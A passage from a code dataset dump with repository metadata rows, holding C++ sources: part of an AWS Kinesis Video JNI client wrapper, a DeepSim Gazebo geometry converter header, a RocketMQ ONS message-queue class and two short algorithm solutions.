absoluteFragmentTimestamp == TRUE,
ackRequired == TRUE,
jstrStreamingEndpoint,
pCallbackContext->callAfter,
pCallbackContext->timeout,
authByteArray,
pCallbackContext->pAuthInfo->type,
pCallbackContext->customData
);
CHK_JVM_EXCEPTION(env);
CleanUp:
if (jstrStreamName != NULL) {
env->DeleteLocalRef(jstrStreamName);
}
if (jstrContainerType != NULL) {
env->DeleteLocalRef(jstrContainerType);
}
if (authByteArray != NULL) {
env->DeleteLocalRef(authByteArray);
}
// Detach the thread if we have attached it to JVM
if (detached) {
pWrapper->mJvm->DetachCurrentThread();
}
return retStatus;
}
STATUS KinesisVideoClientWrapper::tagResourceFunc(UINT64 customData,
PCHAR streamArn,
UINT32 tagCount,
PTag tags,
PServiceCallContext pCallbackContext)
{
JNIEnv *env;
BOOL detached = FALSE;
STATUS retStatus = STATUS_SUCCESS;
jstring jstrStreamArn = NULL, jstrTagName = NULL, jstrTagValue = NULL;
jbyteArray authByteArray = NULL;
jobjectArray tagArray = NULL;
jobject tag = NULL;
jmethodID methodId = NULL;
jclass tagClass = NULL;
INT32 envState;
UINT32 i;
DLOGS("TID 0x%016" PRIx64 " tagResourceFunc called.", GETTID());
KinesisVideoClientWrapper *pWrapper = FROM_WRAPPER_HANDLE(customData);
CHECK(pWrapper != NULL);
// Early return if no tags
CHK(tagCount != 0 && tags != NULL, STATUS_SUCCESS);
// Get the ENV from the JavaVM and ensure we have a JVM thread
envState = pWrapper->mJvm->GetEnv((PVOID*) &env, JNI_VERSION_1_6);
if (envState == JNI_EDETACHED) {
ATTACH_CURRENT_THREAD_TO_JVM(env);
// Store the detached so we can detach the thread after the call
detached = TRUE;
}
// Call the Java func to create a new string
jstrStreamArn = env->NewStringUTF(streamArn);
// Allocate a new byte array
authByteArray = env->NewByteArray(pCallbackContext->pAuthInfo->size);
// Get the class object for tags
tagClass = env->FindClass("com/amazonaws/kinesisvideo/producer/Tag");
CHK(tagClass != NULL, STATUS_INVALID_OPERATION);
// Get the Tag constructor method id
methodId = env->GetMethodID(tagClass, "<init>", "(Ljava/lang/String;Ljava/lang/String;)V");
CHK(methodId != NULL, STATUS_INVALID_OPERATION);
// Allocate a new object array for tags
tagArray = env->NewObjectArray((jsize) tagCount, tagClass, NULL);
if (jstrStreamArn == NULL || authByteArray == NULL || tagArray == NULL) {
retStatus = STATUS_NOT_ENOUGH_MEMORY;
goto CleanUp;
}
for (i = 0; i < tagCount; i++) {
// Create the strings
jstrTagName = env->NewStringUTF(tags[i].name);
jstrTagValue = env->NewStringUTF(tags[i].value);
CHK(jstrTagName != NULL && jstrTagValue != NULL, STATUS_NOT_ENOUGH_MEMORY);
// Create a new tag object
tag = env->NewObject(tagClass, methodId, jstrTagName, jstrTagValue);
CHK(tag != NULL, STATUS_NOT_ENOUGH_MEMORY);
// Set the value of the array index
env->SetObjectArrayElement(tagArray, i, tag);
// Remove the references to the constructed strings
env->DeleteLocalRef(jstrTagName);
env->DeleteLocalRef(jstrTagValue);
}
// Copy the bits into the managed array
env->SetByteArrayRegion(authByteArray,
0,
pCallbackContext->pAuthInfo->size,
(const jbyte*) pCallbackContext->pAuthInfo->data);
// Invoke the callback
retStatus = env->CallIntMethod(pWrapper->mGlobalJniObjRef,
pWrapper->mTagResourceMethodId,
jstrStreamArn,
tagArray,
pCallbackContext->callAfter,
pCallbackContext->timeout,
authByteArray,
pCallbackContext->pAuthInfo->type,
pCallbackContext->customData
);
CHK_JVM_EXCEPTION(env);
CleanUp:
if (jstrStreamArn != NULL) {
env->DeleteLocalRef(jstrStreamArn);
}
if (authByteArray != NULL) {
env->DeleteLocalRef(authByteArray);
}
if (tagArray != NULL) {
env->DeleteLocalRef(tagArray);
}
// Detach the thread if we have attached it to JVM
if (detached) {
pWrapper->mJvm->DetachCurrentThread();
}
return retStatus;
}
STATUS KinesisVideoClientWrapper::getAuthInfo(jmethodID methodId, PBYTE* ppCert, PUINT32 pSize, PUINT64 pExpiration)
{
// Get the ENV from the JavaVM
JNIEnv *env;
BOOL detached = FALSE;
STATUS retStatus = STATUS_SUCCESS;
jbyteArray byteArray = NULL;
jobject jAuthInfoObj = NULL;
jbyte* bufferPtr = NULL;
jsize arrayLen = 0;
jclass authCls = NULL;
jint authType = 0;
jlong authExpiration = 0;
jmethodID authTypeMethodId = NULL;
jmethodID authDataMethodId = NULL;
jmethodID authExpirationMethodId = NULL;
// Store this pointer so we can run the common macros
KinesisVideoClientWrapper *pWrapper = this;
INT32 envState = mJvm->GetEnv((PVOID*) &env, JNI_VERSION_1_6);
if (envState == JNI_EDETACHED) {
ATTACH_CURRENT_THREAD_TO_JVM(env);
// Store the detached so we can detach the thread after the call
detached = TRUE;
}
// Call the Java func
jAuthInfoObj = env->CallObjectMethod(mGlobalJniObjRef, methodId);
if (jAuthInfoObj == NULL) {
DLOGE("Failed to get the object for the AuthInfo object. methodId %s", methodId);
retStatus = STATUS_INVALID_ARG;
goto CleanUp;
}
// Extract the method IDs for the auth object
authCls = env->GetObjectClass(jAuthInfoObj);
CHK_JVM_EXCEPTION(env);
if (authCls == NULL) {
DLOGE("Failed to get the object class for the AuthInfo object.");
retStatus = STATUS_INVALID_ARG;
goto CleanUp;
}
// Extract the method ids
authTypeMethodId = env->GetMethodID(authCls, "getIntAuthType", "()I");
CHK_JVM_EXCEPTION(env);
authDataMethodId = env->GetMethodID(authCls, "getData", "()[B");
CHK_JVM_EXCEPTION(env);
authExpirationMethodId = env->GetMethodID(authCls, "getExpiration", "()J");
CHK_JVM_EXCEPTION(env);
if (authTypeMethodId == NULL || authDataMethodId == NULL || authExpirationMethodId == NULL) {
DLOGE("Couldn't find methods in AuthType object");
retStatus = STATUS_INVALID_ARG;
goto CleanUp;
}
authType = env->CallIntMethod(jAuthInfoObj, authTypeMethodId);
CHK_JVM_EXCEPTION(env);
authExpiration = env->CallLongMethod(jAuthInfoObj, authExpirationMethodId);
CHK_JVM_EXCEPTION(env);
byteArray = (jbyteArray) env->CallObjectMethod(jAuthInfoObj, authDataMethodId);
CHK_JVM_EXCEPTION(env);
if (byteArray != NULL) {
// Extract the bits from the byte buffer
bufferPtr = env->GetByteArrayElements(byteArray, NULL);
arrayLen = env->GetArrayLength(byteArray);
if (arrayLen >= MAX_AUTH_LEN) {
retStatus = STATUS_INVALID_ARG;
goto CleanUp;
}
// Copy the bits
MEMCPY(mAuthInfo.data, bufferPtr, arrayLen);
mAuthInfo.type = authInfoTypeFromInt((UINT32) authType);
mAuthInfo.expiration = (UINT64) authExpiration;
mAuthInfo.size = arrayLen;
// Set the returned values
*ppCert = (PBYTE) &mAuthInfo.data;
*pSize = mAuthInfo.size;
*pExpiration = mAuthInfo.expiration;
} else {
mAuthInfo.type = AUTH_INFO_NONE;
mAuthInfo.size = 0;
mAuthInfo.expiration = 0;
// Set the returned values
*ppCert = NULL;
*pSize = 0;
*pExpiration = 0;
}
CleanUp:
// Release the array object if allocated
if (byteArray != NULL) {
env->ReleaseByteArrayElements(byteArray, bufferPtr, 0);
}
// Detach the thread if we have attached it to JVM
if (detached) {
mJvm->DetachCurrentThread();
}
return retStatus;
}
STATUS KinesisVideoClientWrapper::clientReadyFunc(UINT64 customData, CLIENT_HANDLE clientHandle)
{
DLOGS("TID 0x%016" PRIx64 " clientReadyFunc called.", GETTID());
KinesisVideoClientWrapper *pWrapper = FROM_WRAPPER_HANDLE(customData);
CHECK(pWrapper != NULL);
// Get the ENV from the JavaVM
JNIEnv *env;
BOOL detached = FALSE;
STATUS retStatus = STATUS_SUCCESS;
INT32 envState = pWrapper->mJvm->GetEnv((PVOID*) &env, JNI_VERSION_1_6);
if (envState == JNI_EDETACHED) {
ATTACH_CURRENT_THREAD_TO_JVM(env);
// Store the detached so we can detach the thread after the call
detached = TRUE;
}
// Call the Java func
env->CallVoidMethod(pWrapper->mGlobalJniObjRef, pWrapper->mClientReadyMethodId, (jlong) TO_WRAPPER_HANDLE(pWrapper));
CHK_JVM_EXCEPTION(env);
CleanUp:
// Detach the thread if we have attached it to JVM
if (detached) {
pWrapper->mJvm->DetachCurrentThread();
}
return retStatus;
}
STATUS KinesisVideoClientWrapper::createDeviceFunc(UINT64 customData, PCHAR deviceName, PServiceCallContext pCallbackContext)
{
JNIEnv *env;
BOOL detached = FALSE;
STATUS retStatus = STATUS_SUCCESS;
jstring jstrDeviceName = NULL;
jbyteArray authByteArray = NULL;
INT32 envState;
DLOGS("TID 0x%016" PRIx64 " createDeviceFunc called.", GETTID());
KinesisVideoClientWrapper *pWrapper = FROM_WRAPPER_HANDLE(customData);
CHECK(pWrapper != NULL);
// Device name should be valid
CHK(deviceName != 0, STATUS_NULL_ARG);
// Get the ENV from the JavaVM and ensure we have a JVM thread
envState = pWrapper->mJvm->GetEnv((PVOID*) &env, JNI_VERSION_1_6);
if (envState == JNI_EDETACHED) {
ATTACH_CURRENT_THREAD_TO_JVM(env);
// Store the detached so we can detach the thread after the call
detached = TRUE;
}
// Call the Java func to create a new string
jstrDeviceName = env->NewStringUTF(deviceName);
// Allocate a new byte array
authByteArray = env->NewByteArray(pCallbackContext->pAuthInfo->size);
if (jstrDeviceName == NULL || authByteArray == NULL) {
retStatus = STATUS_NOT_ENOUGH_MEMORY;
goto CleanUp;
}
// Copy the bits into the managed array
env->SetByteArrayRegion(authByteArray,
0,
pCallbackContext->pAuthInfo->size,
(const jbyte*) pCallbackContext->pAuthInfo->data);
// Invoke the callback
retStatus = env->CallIntMethod(pWrapper->mGlobalJniObjRef,
pWrapper->mCreateDeviceMethodId,
jstrDeviceName,
pCallbackContext->callAfter,
pCallbackContext->timeout,
authByteArray,
pCallbackContext->pAuthInfo->type,
pCallbackContext->customData
);
CHK_JVM_EXCEPTION(env);
CleanUp:
if (jstrDeviceName != NULL) {
env->DeleteLocalRef(jstrDeviceName);
}
// Detach the thread if we have attached it to JVM
if (detached) {
pWrapper->mJvm->DetachCurrentThread();
}
return retStatus;
}
STATUS KinesisVideoClientWrapper::deviceCertToTokenFunc(UINT64 customData, PCHAR deviceName, PServiceCallContext pCallbackContext)
{
JNIEnv *env;
BOOL detached = FALSE;
STATUS retStatus = STATUS_SUCCESS;
jstring jstrDeviceName = NULL;
jbyteArray authByteArray = NULL;
INT32 envState;
DLOGS("TID 0x%016" PRIx64 " deviceCertToTokenFunc called.", GETTID());
KinesisVideoClientWrapper *pWrapper = FROM_WRAPPER_HANDLE(customData);
CHECK(pWrapper != NULL);
// Device name should be valid
CHK(deviceName != 0, STATUS_NULL_ARG);
// Get the ENV from the JavaVM and ensure we have a JVM thread
envState = pWrapper->mJvm->GetEnv((PVOID*) &env, JNI_VERSION_1_6);
if (envState == JNI_EDETACHED) {
ATTACH_CURRENT_THREAD_TO_JVM(env);
// Store the detached so we can detach the thread after the call
detached = TRUE;
}
// Call the Java func to create a new string
jstrDeviceName = env->NewStringUTF(deviceName);
// Allocate a new byte array
authByteArray = env->NewByteArray(pCallbackContext->pAuthInfo->size);
if (jstrDeviceName == NULL || authByteArray == NULL) {
retStatus = STATUS_NOT_ENOUGH_MEMORY;
goto CleanUp;
}
// Copy the bits into the managed array
env->SetByteArrayRegion(authByteArray,
0,
pCallbackContext->pAuthInfo->size,
(const jbyte*) pCallbackContext->pAuthInfo->data);
// Invoke the callback
retStatus = env->CallIntMethod(pWrapper->mGlobalJniObjRef,
pWrapper->mDeviceCertToTokenMethodId,
jstrDeviceName,
pCallbackContext->callAfter,
pCallbackContext->timeout,
authByteArray,
pCallbackContext->pAuthInfo->type,
pCallbackContext->customData
);
CHK_JVM_EXCEPTION(env);
CleanUp:
if (jstrDeviceName != NULL) {
env->DeleteLocalRef(jstrDeviceName);
}
// Detach the thread if we have attached it to JVM
if (detached) {
pWrapper->mJvm->DetachCurrentThread();
}
return retStatus;
}
AUTH_INFO_TYPE KinesisVideoClientWrapper::authInfoTypeFromInt(UINT32 authInfoType)
{
switch (authInfoType) {
case 1: return AUTH_INFO_TYPE_CERT;
case 2: return AUTH_INFO_TYPE_STS;
case 3: return AUTH_INFO_NONE;
default: return AUTH_INFO_UNDEFINED;
}
}
| 35.366374 | 182 | 0.65773 | yuma-m |
2d99f73f8d3198a21805b3f715cddc56d5bfdcfd | 6,561 | hpp | C++ | deepsim_gazebo_plugin/include/deepsim_gazebo_plugin/converters/geometry_converter.hpp | aws-deepracer/deepsim | cad2639f525c2f94ec5c03d8b855cc65b0b8ee55 | [
"Apache-2.0"
] | 1 | 2022-03-25T07:20:49.000Z | 2022-03-25T07:20:49.000Z | deepsim_gazebo_plugin/include/deepsim_gazebo_plugin/converters/geometry_converter.hpp | aws-deepracer/deepsim | cad2639f525c2f94ec5c03d8b855cc65b0b8ee55 | [
"Apache-2.0"
] | null | null | null | deepsim_gazebo_plugin/include/deepsim_gazebo_plugin/converters/geometry_converter.hpp | aws-deepracer/deepsim | cad2639f525c2f94ec5c03d8b855cc65b0b8ee55 | [
"Apache-2.0"
] | null | null | null | ///////////////////////////////////////////////////////////////////////////////////
// Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved. //
// //
// Licensed under the Apache License, Version 2.0 (the "License"). //
// You may not use this file except in compliance with the License. //
// You may obtain a copy of the License at //
// //
// http://www.apache.org/licenses/LICENSE-2.0 //
// //
// Unless required by applicable law or agreed to in writing, software //
// distributed under the License is distributed on an "AS IS" BASIS, //
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. //
// See the License for the specific language governing permissions and //
// limitations under the License. //
///////////////////////////////////////////////////////////////////////////////////
#ifndef DEEPSIM_GAZEBO_PLUGIN__GEOMETRY_CONVERTER_HPP_
#define DEEPSIM_GAZEBO_PLUGIN__GEOMETRY_CONVERTER_HPP_
#include <geometry_msgs/Vector3.h>
#include <geometry_msgs/Point.h>
#include <geometry_msgs/Point32.h>
#include <geometry_msgs/Pose.h>
#include <geometry_msgs/Quaternion.h>
#include <geometry_msgs/Transform.h>
#include <ignition/math/Pose3.hh>
#include <ignition/math/Quaternion.hh>
#include <ignition/math/Vector3.hh>
#include <gazebo/msgs/msgs.hh>
namespace deepsim_gazebo_plugin
{
class GeometryConverter
{
public:
/// \brief Specialized conversion from a ROS vector message to an Ignition Math vector.
/// \param[in] msg ROS message to convert.
/// \return An Ignition Math vector.
static ignition::math::Vector3d Convert2MathVector3d(const geometry_msgs::Vector3 & msg);
/// \brief Specialized conversion from a ROS point message to a ROS vector message.
/// \param[in] in ROS message to convert.
/// \return ROS geometry_msgs::Vector3
static geometry_msgs::Vector3 Convert2GeoVector3(const geometry_msgs::Point & in);
/// \brief Specialized conversion from a ROS point message to an Ignition math vector.
/// \param[in] in ROS message to convert.
/// \return An Ignition Math vector.
static ignition::math::Vector3d Convert2MathVector3d(const geometry_msgs::Point & in);
/// \brief Specialized conversion from an Ignition Math vector to a ROS message.
/// \param[in] vec Ignition vector to convert.
/// \return ROS geometry vector message
static geometry_msgs::Vector3 Convert2GeoVector3(const ignition::math::Vector3d & vec);
/// \brief Specialized conversion from an Ignition Math vector to a ROS message.
/// \param[in] vec Ignition vector to convert.
/// \return ROS geometry point message
static geometry_msgs::Point Convert2GeoPoint(const ignition::math::Vector3d & vec);
/// \brief Specialized conversion from an Ignition Math Quaternion to a ROS message.
/// \param[in] in Ignition Quaternion to convert.
/// \return ROS geometry quaternion message
static geometry_msgs::Quaternion Convert2GeoQuaternion(const ignition::math::Quaterniond & in);
/// \brief Specialized conversion from an Ignition Math Pose3d to a ROS geometry transform message.
/// \param[in] in Ignition Pose3d to convert.
/// \return ROS geometry transform message
static geometry_msgs::Transform Convert2GeoTransform(const ignition::math::Pose3d & in);
/// \brief Specialized conversion from an Ignition Math Pose3d to a ROS geometry pose message.
/// \param[in] in Ignition Pose3d to convert.
/// \return ROS geometry pose message
static geometry_msgs::Pose Convert2GeoPose(const ignition::math::Pose3d & in);
/// \brief Specialized conversion from a ROS quaternion message to ignition quaternion
/// \param[in] in Input quaternion message
/// \return Ignition math quaternion with same values as the input message
static ignition::math::Quaterniond Convert2MathQuaterniond(const geometry_msgs::Quaternion & in);
/// \brief Specialized conversion from a ROS geometry transform message to an Ignition math pose3d.
/// \param[in] in ROS message to convert.
/// \return A Ignition Math pose3d.
static ignition::math::Pose3d Convert2MathPose3d(const geometry_msgs::Transform & in);
/// \brief Specialized conversion from a ROS pose message to a ROS geometry transform message.
/// \param[in] in ROS pose message to convert.
/// \return A ROS geometry transform message.
static geometry_msgs::Transform Convert2GeoTransform(const geometry_msgs::Pose & in);
/// \brief Specialized conversion from a ROS pose message to an Ignition Math pose.
/// \param[in] in ROS pose message to convert.
/// \return Ignition Math pose.
static ignition::math::Pose3d Convert2MathPose3d(const geometry_msgs::Pose & in);
/// \brief Specialized conversion from a ROS pose message to an Ignition Math pose.
/// \param[in] in ROS pose message to convert.
/// \return ROS geometry pose message
static geometry_msgs::Pose Convert2GeoPose(const gazebo::msgs::Pose & in);
/// \brief Specialized conversion from a ROS pose message to an Ignition Math pose.
/// \param[in] in the gazebo msgs::Vector3d to convert.
/// \return ROS geometry_msgs::Vector3.
static geometry_msgs::Vector3 Convert2GeoVector3(const gazebo::msgs::Vector3d & in);
/// \brief Specialized conversion from a ROS pose message to an Ignition Math pose.
/// \param[in] in ROS gazebo::msgs::Quaternion message to convert.
/// \return geometry_msgs::Quaternion
static geometry_msgs::Quaternion Convert2GeoQuaternion(const gazebo::msgs::Quaternion & in);
/// \brief Specialized conversion from a gazebo vector3d message to an Ignition Math pose.
/// \param[in] in gazebo::msgs::Vector3d gazebo message to convert
/// \return ROS geometry_msgs::Point message
static geometry_msgs::Point Convert2GeoPoint(const gazebo::msgs::Vector3d & in);
/// \brief Get a geometry_msgs::Vector3 of all ones
/// \return geometry_msgs::Vector3 of all ones
static geometry_msgs::Vector3 GeoVector3Ones();
};
} // namespace deepsim_gazebo_plugin
#endif // DEEPSIM_GAZEBO_PLUGIN__GEOMETRY_CONVERTER_HPP_
| 53.341463 | 103 | 0.667124 | aws-deepracer |
2d9a108d33a3cd9dff7f6081ee429615eeeaaeba | 3,295 | cpp | C++ | src/main/cpp/sdk/MessageQueueONS.cpp | RayneHwang/rocketmq-ons-cpp | 9d69c0a0e91c5030b7fe9054faed1b559d9929e9 | [
"Apache-2.0",
"MIT"
] | 9 | 2019-07-30T08:08:44.000Z | 2021-11-10T19:02:56.000Z | src/main/cpp/sdk/MessageQueueONS.cpp | RayneHwang/rocketmq-ons-cpp | 9d69c0a0e91c5030b7fe9054faed1b559d9929e9 | [
"Apache-2.0",
"MIT"
] | null | null | null | src/main/cpp/sdk/MessageQueueONS.cpp | RayneHwang/rocketmq-ons-cpp | 9d69c0a0e91c5030b7fe9054faed1b559d9929e9 | [
"Apache-2.0",
"MIT"
] | 4 | 2019-07-30T09:41:09.000Z | 2021-11-03T11:02:13.000Z | /*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#include "MessageQueueONS.h"
#include "ONSClientException.h"
#include "UtilAll.h"
namespace ons {
MessageQueueONS::MessageQueueONS() {
m_queueId = -1;//invalide mq
m_topic.clear();
m_brokerName.clear();
}
MessageQueueONS::MessageQueueONS(const string &topic,
const string &brokerName,
int queueId) :
m_topic(topic),
m_brokerName(brokerName),
m_queueId(queueId) {
}
MessageQueueONS::MessageQueueONS(const MessageQueueONS &other) :
m_topic(other.m_topic),
m_brokerName(other.m_brokerName),
m_queueId(other.m_queueId) {
}
MessageQueueONS &MessageQueueONS::operator=(const MessageQueueONS &other) {
if (this != &other) {
m_brokerName = other.m_brokerName;
m_topic = other.m_topic;
m_queueId = other.m_queueId;
}
return *this;
}
string MessageQueueONS::getTopic() const {
return m_topic;
}
void MessageQueueONS::setTopic(const string &topic) {
m_topic = topic;
}
string MessageQueueONS::getBrokerName() const {
return m_brokerName;
}
void MessageQueueONS::setBrokerName(const string &brokerName) {
m_brokerName = brokerName;
}
int MessageQueueONS::getQueueId() const {
return m_queueId;
}
void MessageQueueONS::setQueueId(int queueId) {
m_queueId = queueId;
}
bool MessageQueueONS::operator==(const MessageQueueONS &mq) const {
if (this == &mq) {
return true;
}
if (m_brokerName != mq.m_brokerName) {
return false;
}
if (m_queueId != mq.m_queueId) {
return false;
}
if (m_topic != mq.m_topic) {
return false;
}
return true;
}
int MessageQueueONS::compareTo(const MessageQueueONS &mq) const {
int result = m_topic.compare(mq.m_topic);
if (result != 0) {
return result;
}
result = m_brokerName.compare(mq.m_brokerName);
if (result != 0) {
return result;
}
return m_queueId - mq.m_queueId;
}
bool MessageQueueONS::operator<(const MessageQueueONS &mq) const {
return compareTo(mq) < 0;
}
//<!***************************************************************************
} //<!end namespace;
| 27.923729 | 79 | 0.596965 | RayneHwang |
2d9aa54936e484fd5340166aa44ee8b78ba9fe74 | 700 | cpp | C++ | solutions/5.cpp | tdakhran/leetcode | ed680059661faae32857eaa791ca29c1d9c16120 | [
"MIT"
] | null | null | null | solutions/5.cpp | tdakhran/leetcode | ed680059661faae32857eaa791ca29c1d9c16120 | [
"MIT"
] | null | null | null | solutions/5.cpp | tdakhran/leetcode | ed680059661faae32857eaa791ca29c1d9c16120 | [
"MIT"
] | null | null | null | #include <string>
#include <vector>
class Solution {
std::string_view longestPalindrome(const std::string_view &s, size_t lo,
size_t hi) {
while (lo > 0 and hi < s.size() and s[lo - 1] == s[hi]) {
--lo;
++hi;
}
return s.substr(lo, hi - lo);
}
public:
std::string longestPalindrome(std::string s) {
std::string_view sv(s);
std::string_view result;
for (size_t i = 0; i < s.size(); ++i) {
for (auto hi : {0u, 1u}) {
auto longest = longestPalindrome(sv, i + 1, i + hi);
if (longest.size() > result.size()) {
result = longest;
}
}
}
return std::string(result);
}
};
| 24.137931 | 74 | 0.512857 | tdakhran |
2d9ba9b8c49c6ad2fcf617aa97693ea9f67ecf59 | 7,747 | hpp | C++ | include/canard/net/ofp/v13/message/multipart/table_features.hpp | amedama41/bulb | 2e9fd8a8c35cfc2be2ecf5f747f83cf36ffbbdbb | [
"BSL-1.0"
] | null | null | null | include/canard/net/ofp/v13/message/multipart/table_features.hpp | amedama41/bulb | 2e9fd8a8c35cfc2be2ecf5f747f83cf36ffbbdbb | [
"BSL-1.0"
] | 8 | 2016-07-21T11:29:13.000Z | 2016-12-03T05:16:42.000Z | include/canard/net/ofp/v13/message/multipart/table_features.hpp | amedama41/bulb | 2e9fd8a8c35cfc2be2ecf5f747f83cf36ffbbdbb | [
"BSL-1.0"
] | null | null | null | #ifndef CANARD_NET_OFP_V13_MESSAGES_MULTIPART_TABLE_FEATURES_HPP
#define CANARD_NET_OFP_V13_MESSAGES_MULTIPART_TABLE_FEATURES_HPP
#include <cstdint>
#include <algorithm>
#include <iterator>
#include <utility>
#include <boost/range/adaptor/sliced.hpp>
#include <boost/range/algorithm/copy.hpp>
#include <boost/utility/string_ref.hpp>
#include <canard/net/ofp/detail/basic_protocol_type.hpp>
#include <canard/net/ofp/detail/decode.hpp>
#include <canard/net/ofp/detail/encode.hpp>
#include <canard/net/ofp/detail/memcmp.hpp>
#include <canard/net/ofp/get_xid.hpp>
#include <canard/net/ofp/list.hpp>
#include <canard/net/ofp/v13/detail/basic_multipart.hpp>
#include <canard/net/ofp/v13/detail/byteorder.hpp>
#include <canard/net/ofp/v13/exception.hpp>
#include <canard/net/ofp/v13/openflow.hpp>
#include <canard/net/ofp/v13/utility/table_feature_property_set.hpp>
namespace canard {
namespace net {
namespace ofp {
namespace v13 {
namespace messages {
namespace multipart {
class table_features
: public detail::basic_protocol_type<table_features>
{
public:
using ofp_type = protocol::ofp_table_features;
using properties_type = ofp::list<any_table_feature_property>;
table_features(
std::uint8_t const table_id
, boost::string_ref const name
, std::uint64_t const metadata_match
, std::uint64_t const metadata_write
, std::uint32_t const config
, std::uint32_t const max_entries
, properties_type properties)
: table_features_{
properties.calc_ofp_length(sizeof(ofp_type))
, table_id
, { 0, 0, 0, 0, 0 }
, ""
, metadata_match
, metadata_write
, config
, max_entries
}
, properties_(std::move(properties))
{
auto const name_size
= std::min(name.size(), sizeof(table_features_.name) - 1);
using boost::adaptors::sliced;
boost::copy(name | sliced(0, name_size), table_features_.name);
}
table_features(
std::uint8_t const table_id
, boost::string_ref const name
, std::uint64_t const metadata_match
, std::uint64_t const metadata_write
, std::uint32_t const config
, std::uint32_t const max_entries
, table_feature_property_set properties)
: table_features{
table_id, name, metadata_match, metadata_write, config, max_entries
, std::move(properties).to_list()
}
{
}
table_features(table_features const&) = default;
table_features(table_features&& other)
: table_features_(other.table_features_)
, properties_(other.extract_properties())
{
}
auto operator=(table_features const& other)
-> table_features&
{
return operator=(table_features{other});
}
auto operator=(table_features&& other)
-> table_features&
{
auto tmp = std::move(other);
std::swap(table_features_, tmp.table_features_);
properties_.swap(tmp.properties_);
return *this;
}
auto length() const noexcept
-> std::uint16_t
{
return table_features_.length;
}
auto table_id() const noexcept
-> std::uint8_t
{
return table_features_.table_id;
}
auto name() const
-> boost::string_ref
{
return table_features_.name;
}
auto metadata_match() const noexcept
-> std::uint64_t
{
return table_features_.metadata_match;
}
auto metadata_write() const noexcept
-> std::uint64_t
{
return table_features_.metadata_write;
}
auto config() const noexcept
-> std::uint32_t
{
return table_features_.config;
}
auto max_entries() const noexcept
-> std::uint32_t
{
return table_features_.max_entries;
}
auto properties() const noexcept
-> properties_type const&
{
return properties_;
}
auto extract_properties()
-> properties_type
{
auto properties = properties_type{};
properties.swap(properties_);
table_features_.length = min_length();
return properties;
}
private:
table_features(ofp_type const& features, properties_type&& properties)
: table_features_(features)
, properties_(std::move(properties))
{
}
friend basic_protocol_type;
template <class Container>
void encode_impl(Container& container) const
{
detail::encode(container, table_features_);
properties_.encode(container);
}
template <class Iterator>
static auto decode_impl(Iterator& first, Iterator last)
-> table_features
{
auto const features = detail::decode<ofp_type>(first, last);
if (features.length < min_length()) {
throw exception{
exception::ex_error_type::bad_multipart_element
, exception::ex_error_code::bad_length
, "too small table_features length"
} << CANARD_NET_OFP_ERROR_INFO();
}
auto const prop_length
= std::uint16_t(features.length - sizeof(ofp_type));
if (std::distance(first, last) < prop_length) {
throw exception{
protocol::bad_request_code::bad_len
, "too small data size for table_features"
} << CANARD_NET_OFP_ERROR_INFO();
}
last = std::next(first, prop_length);
auto properties = properties_type::decode(first, last);
return table_features{features, std::move(properties)};
}
auto equal_impl(table_features const& rhs) const noexcept
-> bool
{
return detail::memcmp(table_features_, rhs.table_features_)
&& properties_ == rhs.properties_;
}
private:
ofp_type table_features_;
properties_type properties_;
};
class table_features_request
: public multipart_detail::basic_multipart_request<
table_features_request, table_features[]
>
{
public:
static constexpr protocol::ofp_multipart_type multipart_type_value
= protocol::OFPMP_TABLE_FEATURES;
explicit table_features_request(std::uint32_t const xid = get_xid())
: basic_multipart_request{0, {}, xid}
{
}
table_features_request(
body_type table_features
, std::uint16_t const flags = 0
, std::uint32_t const xid = get_xid())
: basic_multipart_request{flags, std::move(table_features), xid}
{
}
private:
friend basic_multipart_request::base_type;
static constexpr bool is_fixed_length_element = false;
table_features_request(
ofp_type const& multipart_request, body_type&& table_features)
: basic_multipart_request{
multipart_request, std::move(table_features)
}
{
}
};
class table_features_reply
: public multipart_detail::basic_multipart_reply<
table_features_reply, table_features[]
>
{
public:
static constexpr protocol::ofp_multipart_type multipart_type_value
= protocol::OFPMP_TABLE_FEATURES;
table_features_reply(
body_type table_features
, std::uint16_t const flags = 0
, std::uint32_t const xid = get_xid())
: basic_multipart_reply{flags, std::move(table_features), xid }
{
}
private:
friend basic_multipart_reply::base_type;
static constexpr bool is_fixed_length_element = false;
table_features_reply(
ofp_type const& multipart_reply, body_type&& table_features)
: basic_multipart_reply{multipart_reply, std::move(table_features)}
{
}
};
} // namespace multipart
} // namespace messages
} // namespace v13
} // namespace ofp
} // namespace net
} // namespace canard
#endif // CANARD_NET_OFP_V13_MESSAGES_MULTIPART_TABLE_FEATURES_HPP
| 26.993031 | 79 | 0.666322 | amedama41 |
2d9c07d42d9b42e59b1a834b2253c93a3e391fcb | 673 | cpp | C++ | Main/P1004.cpp | qinyihao/Luogu_Problem_Solver | bb4675f045affe513613023394027c3359bb0876 | [
"MIT"
] | null | null | null | Main/P1004.cpp | qinyihao/Luogu_Problem_Solver | bb4675f045affe513613023394027c3359bb0876 | [
"MIT"
] | null | null | null | Main/P1004.cpp | qinyihao/Luogu_Problem_Solver | bb4675f045affe513613023394027c3359bb0876 | [
"MIT"
] | null | null | null | #include<bits/stdc++.h>
#define max(u,v) u>v ? u:v
int a[10][10], f[10][10][10][10], x, y, n, k;
int main()
{
scanf("%d",&n);
while(scanf("%d%d%d", &x, &y, &k) == 3 && x)
{
a[x][y] = k;
}
for(int i = 1; i <= n; i++)
for(int j = 1; j <= n; j++)
for(int k = 1; k <= n; k++)
for(int l = 1; l <= n; l++)
{
int tmp=max(f[i][j][k][l],f[i-1][j][k-1][l]);
tmp=max(tmp,f[i][j-1][k][l-1]);
tmp=max(tmp,f[i][j-1][k-1][l]);
tmp=max(tmp,f[i-1][j][k][l-1]);
if(i==k && j==l) f[i][j][k][l]=tmp+a[i][j];
else f[i][j][k][l]=tmp+a[i][j]+a[k][l];
}
printf("%d\n",f[n][n][n][n]);
return 0;
}
| 25.884615 | 56 | 0.380386 | qinyihao |
